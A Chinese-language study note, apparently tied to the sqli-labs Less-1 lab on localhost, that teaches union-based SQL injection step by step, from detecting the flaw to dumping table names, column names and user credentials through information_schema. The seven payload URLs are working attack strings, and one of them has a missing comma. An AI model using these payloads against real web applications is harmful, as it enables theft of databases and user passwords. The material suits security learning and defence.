SQL注入相关知识（联合注入）

SQL注入

原理

SQL 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者
是判断，前端传入的 参数是攻击者可以控制，并且参数带入数据库的查
询，攻击者可以通过构造恶意的 sql 语句来 实现对数据库的任意操作。

条件

>A:参数用户可控：前端传入的参数内容由用户控制 
>B:参数带入数据库的查询：传入的参数拼接到 SQL 语句，
并且带入数据库的查询 （连接到数据库）
>C:对用户输入的数据没有做合法性的判断

说明

1.information_schema

>在 MySQL5.0 版本后，MySQL 默认在数据库中存放一个“information_schema”的 数据库,在
>该库中，我们需要记住三个表名，分别是 schemata，tables，columns。 
>**Schemata 表**存储的是该用户创建的所有数据库的库名，需要记住该表中记录数据 库名的字段名为 schema_name。 
>**Tables 表**存储该用户创建的所有数据库的库名和表名，要记住该表中记录数据库 库名和表名的字段分别是 table_schema 和 table_name. 
>**Columns 表**存储该用户创建的所有数据库的库名、表名、字段名，要记住该表中 记录数据库库名、表名、字段名为 table_schema、table_name、columns_name。

2. Limit 的用法

Limit 的使用格式是 limit m,n,其中 m 指的是记录开始的位置，从 m=0 开始，表示第一条记录； n 是指取几条记录。

3.注释符号 三种注释符号：

1. # 
2. --空格 空格可以使用+代替 （url 编码%23 表示注释） 
3. /*！*/

流程

举例说明：
网址：http://127.0.0.1/sqli/Less-1/?id=1

第一步：判断是否存在sql注入漏洞

1.http://127.0.0.1/sqli/Less-1/?id=1'  错误
2.http://127.0.0.1/sqli/Less-1/?id=1 and 1=1  返回正常结果
3.http://127.0.0.1/sqli/Less-1/?id=1 and 1=2  返回正常这里可以判断是字符型，那么构造字符型注入的payload
2.http://127.0.0.1/sqli/Less-1/?id=1' and 1=1 --+  正常
3.http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 --+  异常
从而可以判断此处存在sql注入漏洞，切注入漏洞类型为字符型

第二步：判断数据表字段数

order by 1-99 
http://127.0.0.1/sqli/Less-1/?id=1' order by 1 --+

第三步：判处查询输出的位置

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --+

第四步：脱库，爆数据库表名 security

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,database() --+

第五步：爆表名 emails,referers,uagents,users

http://127.0.0.1/sqli/Less-1/?id=-1' 
union select 1,2(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

第六步：爆字段名 id,username,password

http://127.0.0.1/sqli/Less-1/?id=-1'
union select 1,2,(select
group_concat(column_name) from
information_schema.columns where
table_schema='security' and table_name='users') --+

第七步：爆数据值

http://127.0.0.1/sqli/Less-1/?id=-1' 
union select 1,2,(select 
group_concat(id,0x3a,username,0x3a,password) from 
security.users) --+

总结

第一步：判断是否存在sql漏洞
第二步：判断数据表的字段数
第三步：判断查询输出的位置
第四步：脱库，爆数据库名
第五步：爆表名 
第六步：爆字段名 
第七步：爆数据值